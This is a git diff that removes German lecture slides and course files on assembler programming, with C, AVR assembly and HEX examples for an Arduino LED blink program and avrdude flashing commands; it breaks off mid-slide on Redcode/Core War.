\newcommand{\Cin}{C\raisebox{-0.5ex}{\footnotesize in}} - \newcommand{\Cout}{C\raisebox{-0.5ex}{\footnotesize out}} -\end{psinputs} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{11.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{orange} - \item[2.7] Programmieren in Assembler - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{5} -\subsection{Computer-Sprachen} -\subsubsection{Maschinensprache} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \strut\hfill - \begin{minipage}{6.5cm} - \vspace*{-1.7cm} - \small - Computer - \begin{itemize}\itemsep0pt - \item Rechenwerk (ALU) - \item Speicher: Register,\\ - adressierbarer Hauptspeicher - \item Takt: Befehle abarbeiten - \item Peripherie: Kommunikation\\ - mit der Außenwelt - \arrowitem in Maschinensprache programmierbar - \end{itemize} - \end{minipage}\hspace*{-0.5cm} - - In jedem Takt: - \begin{itemize} - \item - dort aus dem Hauptspeicher lesen, wohin das Register \lstinline{IP} zeigt\\ - \textarrow\ \newterm{Befehl\/} (\newterm{Instruction\/} -- \lstinline{IP} = \newterm{Instruction Pointer\/}) - \item - den \newterm{Befehl\/} an den \newterm{Funktion\/}-Eingang der \newterm{ALU\/} legen - \item - auf ähnliche Weise weitere Daten an den \newterm{Akkumulator\/}-\\ - und den \newterm{Daten\/}-Eingang der \newterm{ALU\/} legen - \item - auf ähnliche Weise den \newterm{Ergebnis\/}-Ausgang der \newterm{ALU}\\ - in den Hauptspeicher schreiben - \textarrow\ Befehl ausgeführt - \item - Register \lstinline{IP} hochzählen - \textarrow\ nächster Befehl - \arrowitem - Maschinensprache - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \begin{itemize} - \item - Daten aus dem Speicher in Register einlesen - \item - Daten aus Register in den Speicher schreiben - \arrowitem - Lade- und Speicher-Befehle - \item - Daten aus Registern (oder Speicher) an ALU legen,\\ - Ergebnis in Register (oder Speicher) schreiben - \arrowitem - arithmetische Befehle -% \pause - \item - Daten aus Register oder Speicher in das \lstinline{IP}-Register laden - \arrowitem - \only<1->{unbedingter }Sprungbefehl -% \pause - \item - Sprungbefehl nur dann, wenn im Status-Ausgang der ALU ein bestimmtes Bit gesetzt ist - \arrowitem - bedingter Sprungbefehl -% \pause -% \pause - \bigskip - \arrowitem - Der Computer kann "`alles"' -- \newterm{Turing-Vollständigkeit} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsubsection - \showsubsubsection - - \begin{itemize} - \item - Lade- und Speicher-Befehle\\ - arithmetische Befehle\\ - unbedingte und bedingte Sprungbefehle - \arrowitem - Der Computer kann "`alles"' -- \newterm{Turing-Vollständigkeit} - \bigskip - \item - Maschinensprache = Zahlen \textarrow\ für Menschen schwer handhabbar - \arrowitem - Namen für die Befehle: \newterm{Mnemonics} - \arrowitem - \newterm{Assembler\/}-Sprache - \end{itemize} - -\end{frame} - -\subsubsection{\strut{\protect\color{gray}Maschinensprache \protect\textarrow\ }Assembler} - -\begin{frame}[fragile] - - \showsubsubsection - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - \bigskip - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - \bigskip - - \textarrow\ für jeden Prozessor anders - -\end{frame} - -\subsubsection{\strut{\protect\color{gray}Maschinensprache \protect\textarrow\ Assembler \protect\textarrow\ }Hochsprachen} - -\begin{frame}[fragile] - - \showsubsubsection - - Beispiel: Intel-x86-16-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{mov}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{inc}, \lstinline{dec}, - \lstinline{xor}, \lstinline{cmp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{jmp}, \lstinline{jz}, \lstinline{jae}, \dots - \item - Register\hfill - \lstinline{ax}, \lstinline{bx}, \dots - \end{itemize} - - \bigskip - - Beispiel: Atmel-AVR-8-Bit-Assembler - - \begin{itemize} - \item - Lade- und Speicher-Befehle\hfill - \lstinline{ldi}, \lstinline{lds}, \lstinline{sti}, \dots\\ - arithmetische Befehle\hfill - \lstinline{add}, \lstinline{sub}, \lstinline{subi}, - \lstinline{eor}, \lstinline{cp}, \dots\\ - unbedingte und bedingte Sprungbefehle\hfill - \lstinline{rjmp}, \lstinline{brsh}, \lstinline{brlo}, \dots - \item - Register\hfill - \lstinline{r0}, \lstinline{r1}, \dots - \end{itemize} - - \bigskip - - \textarrow\ für jeden Prozessor anders - - \bigskip - - Hochsprache \textarrow\ für jeden Prozessor gleich - -\end{frame} - -\begin{frame}[fragile] - - \showsubsubsection - - Compiler-Sprachen - \begin{itemize}\itemsep0pt - \item - \newterm{Compiler\/} übersetzt Hochsprachen-\newterm{Quelltext\/} in die Assembler-Sprache - \item - \newterm{Assembler\/} übersetzt Assembler-Quelltext in die Maschinensprache - \item - Compiler und Assembler sind Programme,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache - \item - Beispiele: Fortran, Algol, Pascal, Ada, C, C++, \dots - \end{itemize} - -% \pause - \medskip - Interpreter- oder Skript-Sprachen - \begin{itemize}\itemsep0pt - \item - \newterm{Interpreter\/} liest Hochsprachen-\newterm{Quelltext\/} und führt ihn sofort aus - \item - Der Interpreter ist ein Programm,\\ - geschrieben in Maschinensprache, Assembler oder einer Hochsprache - \item - Beispiele: Unix-Shell, BASIC, Perl, Python, \dots - \end{itemize} - -% \pause - \medskip - Kombinationen - \begin{itemize}\itemsep0pt - \item - \newterm{Compiler\/} erzeugt \newterm{Zwischencode\/} für eine \newterm{virtuelle Maschine} - \item - \newterm{Interpreter\/} liest Hochsprachen-\newterm{Zwischencode\/} und führt ihn sofort aus - \item - Die virtuelle Maschine ist ein Programm, - geschrieben in Maschinensprache, Assembler, einer Hoch- oder Skript-Sprache - \item - Beispiele: UCSD-Pascal, Java, \dots - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\subsection{Programmieren in Assembler} - -\begin{frame} - - \showsubsection - - Beispiel: PC, 1980er bis 1990er Jahre - \begin{itemize} - \item - Prozessor: Intel 8086 - \item - Takt: 4,77--100\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Text- und Grafikausgabe - - \begin{onlyenv}<1> - \begin{center} - \vspace*{-0.15cm} - \includegraphics[width=9.8cm,trim={0cm 0cm 0cm 0.8cm},clip]{hello-world-maschinensprache.png} - \vspace*{-10cm} - \end{center} - \end{onlyenv} - - \pause - \bigskip - - Beispiel: Arduino Uno - \begin{itemize} - \item - Prozessor: ATmega 328p - \item - Takt: 16\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Mikrosekunden-Timing - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel: Arduino Uno - \begin{itemize} - \item - Prozessor: ATmega 328p - \item - Takt: 16\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Mikrosekunden-Timing - - \bigskip - - Cross-Entwicklung - \begin{itemize} - \item - Programmieren auf PC - \item - Compilieren auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -o blink.elf - \end{lstlisting} - \item - Speicherabbild auf PC erstellen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-objcopy -O ihex blink.elf blink.hex - \end{lstlisting} - \item - Speicherabbild auf den Mikrocontroller herunterladen: - \begin{lstlisting}[style=cmd,gobble=8] - avrdude -P /dev/ttyACM0 -c arduino -p m328p \ - -U flash:w:blink.hex - \end{lstlisting} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Cross-Entwicklung - \begin{itemize} - \item - Programmieren auf PC - \item - Compilieren auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -o blink.elf - \end{lstlisting} - \item - Speicherabbild auf PC erstellen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-objcopy -O ihex blink.elf blink.hex - \end{lstlisting} - \item - Speicherabbild auf den Mikrocontroller herunterladen: - \begin{lstlisting}[style=cmd,gobble=8] - avrdude -P /dev/ttyACM0 -c arduino -p m328p \ - -U flash:w:blink.hex - \end{lstlisting} - \medskip - \item - Präprozessor auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c \ - -E -o blink.E - \end{lstlisting} - \item - Compilieren auf PC, Assembler-Quelltext erzeugen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -S - \end{lstlisting} - \end{itemize} - -\end{frame} - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{orange} - \item[2.7] Programmieren in Assembler - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20210517/Makefile b/20210517/Makefile deleted file mode 100644 index d080ca3fa6821afe1e4075dea4f6463eda663f02..0000000000000000000000000000000000000000 --- a/20210517/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -%.s: %.c - avr-gcc -Wall -Os -mmcu=atmega328p $< -S -o $@ - -%.elf: %.c - avr-gcc -Wall -Os -mmcu=atmega328p $< -o $@ - -%.hex: %.elf - avr-objcopy -O ihex $< $@ - -download: - ./download.sh diff --git a/20210517/add-1.c b/20210517/add-1.c deleted file mode 100644 index 452ff85a9deb28a7b029c1ae74767b68138bc36f..0000000000000000000000000000000000000000 --- a/20210517/add-1.c +++ /dev/null @@ -1,10 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - int a = 7; - int b = 13; - int c = a + b; - printf ("%d + %d = %d\n", a, b, c); - return 0; -} diff --git a/20210517/add-1.s b/20210517/add-1.s deleted file mode 100644 index 38fb9c6267b6a8c3b79ad367b091b5be7bf96cc0..0000000000000000000000000000000000000000 --- a/20210517/add-1.s +++ /dev/null @@ -1,28 +0,0 @@ - .file "add-1.c" - .text - .section .rodata.str1.1,"aMS",@progbits,1 -.LC0: - .string "%d + %d = %d\n" - .text - .globl main - .type main, @function -main: -.LFB11: - .cfi_startproc - subq $8, %rsp - .cfi_def_cfa_offset 16 - movl $20, %ecx - movl $13, %edx - movl $7, %esi - leaq .LC0(%rip), %rdi - movl $0, %eax - call printf@PLT - movl $0, %eax - addq $8, %rsp - .cfi_def_cfa_offset 8 - ret - .cfi_endproc -.LFE11: - .size main, .-main - .ident "GCC: (Debian 8.3.0-6) 8.3.0" - .section .note.GNU-stack,"",@progbits diff --git a/20210517/blink-2.c b/20210517/blink-2.c deleted file mode 100644 index dcfd15bff350499a4ab3fdfb5b98542f895eb25e..0000000000000000000000000000000000000000 --- a/20210517/blink-2.c +++ /dev/null @@ -1,17 +0,0 @@ -#include <avr/io.h> - -#define F_CPU 16000000l -#include <util/delay.h> - -int main (void) -{ - DDRD = 0x40; - while (1) - { - PORTD |= 0x40; - _delay_ms (500); - PORTD &= ~0x40; - _delay_ms (500); - } - return 0; -} diff --git a/20210517/blink-2.hex b/20210517/blink-2.hex deleted file mode 100644 index cb9e60c617cdfd780c92396a433c84dfd08fc043..0000000000000000000000000000000000000000 --- a/20210517/blink-2.hex +++ /dev/null @@ -1,12 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C9451000C940000E4 -:1000800080E48AB98BB990E42FEF34E38CE02150FF -:1000900030408040E1F700C000008BB189278BB968 -:0600A000F3CFF894FFCF3E -:00000001FF diff --git a/20210517/blink-2.s b/20210517/blink-2.s deleted file mode 100644 index 105cd5b348b6dd3965d92c2f1890af460e407121..0000000000000000000000000000000000000000 --- a/20210517/blink-2.s +++ /dev/null @@ -1,40 +0,0 @@ - .file "blink-2.c" -__SP_H__ = 0x3e -__SP_L__ = 0x3d -__SREG__ = 0x3f -__tmp_reg__ = 0 -__zero_reg__ = 1 - .section .text.startup,"ax",@progbits -.global main - .type main, @function -main: -/* prologue: function */ -/* frame size = 0 */ -/* stack size = 0 */ -.L__stack_usage = 0 - ldi r24,lo8(64) - out 0xa,r24 -.L2: - sbi 0xb,6 - ldi r18,lo8(1599999) - ldi r24,hi8(1599999) - ldi r25,hlo8(1599999) -1: subi r18,1 - sbci r24,0 - sbci r25,0 - brne 1b - rjmp . - nop - cbi 0xb,6 - ldi r18,lo8(1599999) - ldi r24,hi8(1599999) - ldi r25,hlo8(1599999) -1: subi r18,1 - sbci r24,0 - sbci r25,0 - brne 1b - rjmp . - nop - rjmp .L2 - .size main, .-main - .ident "GCC: (GNU) 5.4.0" diff --git a/20210517/blink-2s.hex b/20210517/blink-2s.hex deleted file mode 100644 index 02835334a239906400985acea0b78c273dac4e8c..0000000000000000000000000000000000000000 --- a/20210517/blink-2s.hex +++ /dev/null @@ -1,13 +0,0 @@ -:100000000C9434000C943E000C943E000C943E0082 -:100010000C943E000C943E000C943E000C943E0068 -:100020000C943E000C943E000C943E000C943E0058 -:100030000C943E000C943E000C943E000C943E0048 -:100040000C943E000C943E000C943E000C943E0038 -:100050000C943E000C943E000C943E000C943E0028 -:100060000C943E000C943E0011241FBECFEFD8E04C -:10007000DEBFCDBF0E9440000C945E000C940000D7 -:10008000EAE2F0E020E42083E395208120642083ED -:100090007FEF89E698E1715080409040E1F70000E1 -:1000A000000020812F7B20837FEF84E39CE0715050 -:1000B00080409040E1F700000000E7CFF894FFCFC8 -:00000001FF diff --git a/20210517/blink-2s.s b/20210517/blink-2s.s deleted file mode 100644 index 39443413394a5780df6deefd8f59eced17f0661e..0000000000000000000000000000000000000000 --- a/20210517/blink-2s.s +++ /dev/null @@ -1,57 +0,0 @@ - .text ; "Dies ist ein Programm." - -.global main ; Exportiere das Symbol "main" - - ; DDRD = 0x40 - -main: ldi r30,0x2a ; lade 0x2a in das Register r30 - ldi r31,0x00 ; lade 0x00 in das Register r31 - ldi r18,0x40 ; lade 0x40 in das Register r18 - st Z,r18 ; speichere r18 dort, wohin das Z-Register zeigt - ; (Z-Register = Kombination von r30 und r31, hier 0x002a) - - inc r30 ; inkrementiere r30; danach ist Z = 0x002b - -loop: ld r18,Z ; Speicherzelle in Register laden - ori r18,0x40 ; Oder-Verknüpfung mit dem Binärmuster 0100 0000 - ; (Bit auf 1 setzen: Schalte LED an) - st Z,r18 ; Register in Speicherzelle schreiben - - ; 0.5 Sekunden warten - - ldi r23,lo8(1599999) ; Lade die untersten 8 Bit der Zahl 1599999 in r23 - ldi r24,hi8(1599999) ; Lade die mittleren 8 Bit der Zahl 1599999 in r24 - ldi r25,hlo8(1599999) ; Lade die obersten 8 Bit der Zahl 1599999 in r25 -wait1: subi r23,1 ; Subtrahiere die Integer 1 von r23 - sbci r24,0 ; Subtrahiere die Integer 0 mit Carry (Übertrag) von r24 - sbci r25,0 ; Subtrahiere die Integer 0 mit Carry (Übertrag) von r25 - ; --> Subtrahiere 1 von der Zahl (r25/r24/r23) (anfangs 1599999) - brne wait1 ; "branch if not equal" - Sprung, wenn nicht 0 - ; Ausführungsdauer: je 1 Taktzyklus für subi/sbci - ; + 2 Taktzyklen für brne = 5 Taktzyklen pro Durchlauf - ; Schleife = 1599999 Durchläufe - ; = 7999995 Taktzyklen (bei 5 Takten pro Durchlauf) - ; = 0.4999996875 Sekunden (bei 16 MHz Taktfrequenz) - ; Zusammen mit den 3 Taktzyklen für die 3 ldi-Befehle - ; ergibt sich ziemlich genau 0.5 Sekunden. - nop - nop ; Zusammen mit 2 nops je 1 Taktzyklus: genau 0.5 Sekunden - - ld r18,Z ; Speicherzelle in Register laden - andi r18,0xbf ; Und-Verknüpfung mit dem Binärmuster 1011 1111 - ; (Bit auf 0 setzen: Schalte LED aus) - st Z,r18 ; Register in Speicherzelle schreiben - - ; 0.5 Sekunden warten - - ldi r23,lo8(799999) - ldi r24,hi8(799999) - ldi r25,hlo8(799999) -wait2: subi r23,1 - sbci r24,0 - sbci r25,0 - brne wait2 - nop - nop - - rjmp loop ; Endlosschleife diff --git a/20210517/download.sh b/20210517/download.sh deleted file mode 100755 index 770c3b5dca74ac09778be055c9d6f5adb0df293b..0000000000000000000000000000000000000000 --- a/20210517/download.sh +++ /dev/null @@ -1,3 +0,0 @@ -port=$(ls -rt /dev/ttyACM* | tail -1) -echo avrdude -P $port -c arduino -p m328p -U flash:w:$(ls -rt *.hex | tail -1) -avrdude -P $port -c arduino -p m328p -U flash:w:$(ls -rt *.hex | tail -1) 2>/dev/null diff --git a/20210517/logo-hochschule-bochum-cvh-text-v2.pdf b/20210517/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20210517/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20210517/logo-hochschule-bochum.pdf b/20210517/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20210517/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20210517/pgslides.sty b/20210517/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20210517/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20210517/rtech-20210517.pdf b/20210517/rtech-20210517.pdf deleted file mode 100644 index a54037f3f50e4a441e8699e99bc973f1d93c7650..0000000000000000000000000000000000000000 Binary files a/20210517/rtech-20210517.pdf and /dev/null differ diff --git a/20210517/rtech-20210517.tex b/20210517/rtech-20210517.tex deleted file mode 100644 index 7747b6b9ece231c931027db35de8ae87b32da3ab..0000000000000000000000000000000000000000 --- a/20210517/rtech-20210517.tex +++ /dev/null @@ -1,601 +0,0 @@ -% rtech-20210517.pdf - Lecture Slides on Computer Technology -% Copyright (C) 2012, 2013, 2014, 2021 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Programmieren in Assembler: Arduino, Krieg der Kerne - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} - -\lstdefinestyle{asm}{basicstyle=\color{structure}, - language={}, - gobble=4} - -\title{Rechnertechnik} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{17.\ Mai 2021} - -\begin{document} - -\maketitleframe - -\sectionnonumber{\inserttitle} - -\begin{frame} - - \showsectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \item[\textbf{2}] \textbf{Vom Schaltkreis zum Computer} - \begin{itemize} - \item[2.1] Logik-Schaltkreise - \item[2.2] Binärdarstellung von Zahlen - \item[2.3] Vom Logik-Schaltkreis zum Addierer - \item[2.4] Negative Zahlen - \item[2.5] Vom Addierer zum Computer - \item[2.6] Computer-Sprachen - \color{orange} - \item[2.7] Programmieren in Assembler - \color{red} - \item[2.8] Struktur von Assembler-Programmen - \end{itemize} - \color{gray} - \item[\textbf{3}] \textbf{Architekturmerkmale von Prozessoren} - \item[\textbf{4}] \textbf{Der CPU-Stack} -% \item[\textbf{5}] \textbf{Hardwarenahe Programmierung} -% \item[\textbf{6}] \textbf{Anwender-Software} -% \item[\textbf{7}] \textbf{Bus-Systeme} -% \item[\textbf{8}] \textbf{Pipelining} - \item[\textbf{\dots\hspace{-0.75em}}] -% \item[\textbf{9}] \textbf{Ausblick} - \end{itemize} - -\end{frame} - -\setcounter{section}{1} -\section{Vom Schaltkreis zum Computer} -\setcounter{subsection}{6} -\subsection{Programmieren in Assembler} - -\begin{frame} - - \showsubsection - - Beispiel: PC, 1980er bis 1990er Jahre - \begin{itemize} - \item - Prozessor: Intel 8086 - \item - Takt: 4,77--100\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Text- und Grafikausgabe - -% \begin{onlyenv}<1> -% \begin{center} -% \vspace*{-0.15cm} -% \includegraphics[width=9.8cm,trim={0cm 0cm 0cm 0.8cm},clip]{hello-world-maschinensprache.png} -% \vspace*{-10cm} -% \end{center} -% \end{onlyenv} -% -% \pause - \bigskip - - Beispiel: Arduino Uno - \begin{itemize} - \item - Prozessor: ATmega 328p - \item - Takt: 16\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Mikrosekunden-Timing - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel: Arduino Uno - \begin{itemize} - \item - Prozessor: ATmega 328p - \item - Takt: 16\,MHz - \end{itemize} - Anwendung von Assembler: zeitkritische Programmteile,\\ - z.\,B.\ Mikrosekunden-Timing - - \bigskip - - Cross-Entwicklung - \begin{itemize} - \item - Programmieren auf PC - \item - Compilieren auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -o blink.elf - \end{lstlisting} - \item - Speicherabbild auf PC erstellen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-objcopy -O ihex blink.elf blink.hex - \end{lstlisting} - \item - Speicherabbild auf den Mikrocontroller herunterladen: - \begin{lstlisting}[style=cmd,gobble=8] - avrdude -P /dev/ttyACM0 -c arduino -p m328p \ - -U flash:w:blink.hex - \end{lstlisting} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Cross-Entwicklung - \begin{itemize} - \item - Programmieren auf PC - \item - Compilieren auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -o blink.elf - \end{lstlisting} - \item - Speicherabbild auf PC erstellen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-objcopy -O ihex blink.elf blink.hex - \end{lstlisting} - \item - Speicherabbild auf den Mikrocontroller herunterladen: - \begin{lstlisting}[style=cmd,gobble=8] - avrdude -P /dev/ttyACM0 -c arduino -p m328p \ - -U flash:w:blink.hex - \end{lstlisting} - \medskip - \item - Präprozessor auf PC: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c \ - -E -o blink.E - \end{lstlisting} - \item - Compilieren auf PC, Assembler-Quelltext erzeugen: - \begin{lstlisting}[style=cmd,gobble=8] - avr-gcc -Wall -Os -mmcu=atmega328p blink.c -S - \end{lstlisting} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - C nach Assembler übersetzen: - \begin{lstlisting}[style=terminal] - $ ¡gcc -S pruzzel.c¿ - \end{lstlisting} - erzeugt \file{pruzzel.s},\\ - Assembler für den Standard-Prozessor\\ - (hier: 64-Bit-AMD-Architektur -- amd64). - - \bigskip -% \pause - - \begin{lstlisting}[style=terminal] - $ ¡avr-gcc -S pruzzel.c¿ - \end{lstlisting} - erzeugt \file{pruzzel.s},\\ - Assembler für 8-Bit-Atmel-AVR-Prozessoren. - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - C-Programme auf Assembler-Ebene debuggen: - \begin{lstlisting}[style=terminal] - $ ¡gcc -g pruzzel.c -o pruzzel¿ - $ ¡gdb -tui ./pruzzel¿ - (gdb) ¡break main¿ - (gdb) ¡run¿ - (gdb) ¡layout split¿ - (gdb) ¡nexti¿ - \end{lstlisting} - -\end{frame} - -\subsection{Struktur von Assembler-Programmen} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 1: IA-32-Assembler \only<3>{-- Adressierungsarten} - - \vspace{2cm} - - \begin{lstlisting} - addl $1, %eax - movb %al, b - cmpb (%ebx), %dl - jbe .L2 - \end{lstlisting} - - \begin{onlyenv}<2-3> - \begin{picture}(0,0) - \color{red} - \put(0.4,2.8){\vector(0,-1){0.7}} - \put(0.4,2.9){\makebox(0,0)[b]{Befehl}} - \only<2>{% - \put(1.4,2.8){\vector(-1,-1){0.7}} - \put(2.3,2.9){\makebox(0,0)[b]{Größen-Suffix}}} - \only<3>{% - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(1.4,2.8){\vector(1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{Operanden}}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<4> - \begin{picture}(0,0) - \color{red} - \put(1.4,2.8){\vector(-1,-2){0.35}} - \put(2.0,2.9){\makebox(0,0)[b]{unmittelbar}} - \put(3.0,1.8){\vector(-1,0){0.7}} - \put(3.1,1.8){\makebox(0,0)[l]{Register}} - \put(4.8,1.4){\vector(-1,0){2.7}} - \put(4.9,1.4){\makebox(0,0)[l]{Speicher (absolut)}} - \put(2.3,-0.0){\vector(-1,1){0.7}} - \put(3.5,-0.1){\makebox(0,0)[t]{indirekt mit Register}} - \put(0.8,-0.6){\vector(0,1){0.9}} - \put(0.0,-0.7){\makebox(0,0)[tl]{Speicher (relativ)}} - \end{picture} - \end{onlyenv} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - Beispiel 2: Redcode (ICWS '88)\pause\ -- Core War[s] (Krieg der Kerne)\\ - Virtuelle Maschine: Memory Array Redcode Simulator (MARS) - - \pause - \bigskip - - \begin{minipage}[t]{7.2cm} - Instruktionen:\\[\smallskipamount] - \lstinline{dat B} -- Daten \only<4->{-- "`Du hast verloren!"'}\\ - \lstinline{mov A, B} -- kopiere A nach B\\ - \lstinline{add A, B} -- addiere A zu B\\ - \lstinline{sub A, B} -- subtrahiere A von B\\ - \lstinline{jmp A} -- unbedingter Sprung nach A\\ - \lstinline{jmz A, B} -- Sprung nach A, wenn B $=$ 0\\ - \lstinline{jmn A, B} -- Sprung nach A, wenn B $\ne$ 0\\ - \lstinline{djn A, B} -- "`decrement and jump if not zero"'\\ - \lstinline{cmp A, B} -- "`compare"': überspringe, falls gleich\\ - \lstinline{spl A} -- "`split"': Programm verzweigen - \end{minipage}\hfill - \begin{minipage}[t]{4.7cm} - Adressierungsarten:\\[\smallskipamount] - grundsätzlich: Speicher 